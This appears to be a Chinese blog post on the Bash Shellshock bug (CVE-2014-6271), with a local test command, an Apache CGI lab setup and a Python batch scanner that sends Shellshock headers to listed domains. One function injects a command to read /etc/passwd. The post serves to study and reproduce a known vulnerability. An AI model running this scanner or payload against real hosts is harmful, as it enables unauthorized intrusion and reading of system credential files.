zoukankan      html  css  js  c++  java
  • Bash Shellshock(CVE-2014-6271)破壳漏洞测试

    0x01 漏洞原理

    Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。

    0x2 Bash破壳漏洞测试

    2.1 本地测试语句:

    $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
    

    输出:

    vulnerable
    
    this is a test
    

    说明有漏洞,否则就没有。

    2.2 漏洞复现:

    2.2.1 安装配置:

    • Centos6 Apache2.2 CGI
    yum install httpd
    service iptables stop
    

    httpd.conf配置

    
    1、576行设置/var/www/cgi-bin目录的脚本别名是cgi-bin,
    
    ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"
    
    让这个目录下都支持cgi
    2、582行修改Options
    
    <Directory "/var/www/cgi-bin">
        AllowOverride None
        Options ExecCGI
        Order allow,deny
        Allow from all
    </Directory>
    
    
    3、796行添加访问后缀,当其被访问能被解析
    
    AddHandler cgi-script .cgi .pl .sh
    
    4、200行需要有cgi模块
    
    LoadModule cgi_module modules/mod_cgi.so
    
    

    POC.cgi放置到cgi-bin,具体内容如下:

    #!/bin/bash
    
    echo "Content-type: text/html"
    echo ""
    
    echo '<html>'
    echo '<head>'
    echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
    echo '<title>PoC</title>'
    echo '</head>'
    echo '<body>'
    echo '<pre>'
    /usr/bin/env
    echo '</pre>'
    echo '</body>'
    echo '</html>'
    

    2.2.1 Bash配置:

    下载Bash之后,因为apache默认调用的是/bin/bash,没有漏洞。所以要通过软链接调用存在漏洞的Bash

    $ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
    $ tar xf bash-4.1.tar.gz
    $ cd bash-4.1
    $ ./configure
    $ make & make install
    $ ln -s /usr/local/bin/bash /bin/bash  
    

    2.2 批量测试

    # -*- coding:utf8 -*-
    
    import urllib.parse
    import urllib.request
    import ssl
    import re
    import sys
    from socket import timeout
    import http.client    #修改引用的模块
    import os
    
    domain_list = []
    result = []
    
    #读取文件函数
    def read_file(file_path):
        # 判断文件路径是否存在,如果不存在直接退出,否则读取文件内容
        if not os.path.exists(file_path):
            print('Please confirm correct filepath ! ')
            sys.exit(0)
        else:
            with open(file_path, 'r') as source:
                for line in source:
                    domain_list.append(line.rstrip('
    ').rstrip('
    '))
    
    def bash_exp(url):
        hostname, urlpath = urllib.parse.urlsplit(url)[1:3]
    
        try:
    
            conn = http.client.HTTPConnection(hostname, timeout=20)
    
            headers = {"User-Agent": '() { :;}; echo vulnerable /bin/bash -c "echo this is a test"'}
    
            conn.request("GET", urlpath, headers=headers)
            res = conn.getresponse()
            if res and res.status == 500:
                print("{host} : discover Vulnerable! ".format(host=hostname))
                result.append(hostname)
    			
            else:
                print("{host} :No Bash Vulnerable! ".format(host=hostname))
    
    
        #except Exception, e:
        except Exception as e:
            print("{host} is {err}".format(host=hostname,err=e))
    
    
    def cat_passwd(hostname, urlpath):
        print("cat /etc/passwd :")
        conn3 = http.client.HTTPConnection(hostname, timeout=20)
        headers3 = {"User-Agent": "() { :;}; echo `/bin/cat /etc/passwd`"}
        conn3.request("GET", urlpath, headers=headers3)
        res3 = conn3.getresponse()
        res = res3.getheaders()
        for passwdstr in res:
            print(passwdstr[0] + ':' + passwdstr[1])
    
    
    if __name__ == '__main__':
        read_file(os.getcwd()+"//attck.txt")
        for domain in domain_list:
            test_url = ("http://{domain}/cgi-mod/index.cgi").format(domain=domain)
            bash_exp(test_url)
        for ret in result:
            with open("result.txt","a+") as file:
                file.write(ret)
    

    2.3 参考

    https://www.linode.com/docs/web-servers/apache/run-php-cgi-apache-centos-6/
    https://www.freebuf.com/news/48331.html
    https://blog.csdn.net/yaofeino1/article/details/55211993
    https://www.cyberciti.biz/faq/how-do-i-check-my-bash-version/

  • 相关阅读:
    Qt之任务栏系统托盘图标
    Qt中 QTableWidget用法总结
    cookie详解
    爬虫cookie
    代理授权验证_web客户端授权验证
    ProxyHandler处理器__代理设置__自定义opener
    Handler处理器和自定义Opener
    记录英语单词19.03.14
    转义字符的英语缩写
    之前记录的单词07
  • 原文地址:https://www.cnblogs.com/17bdw/p/10901062.html
Copyright © 2011-2022 走看看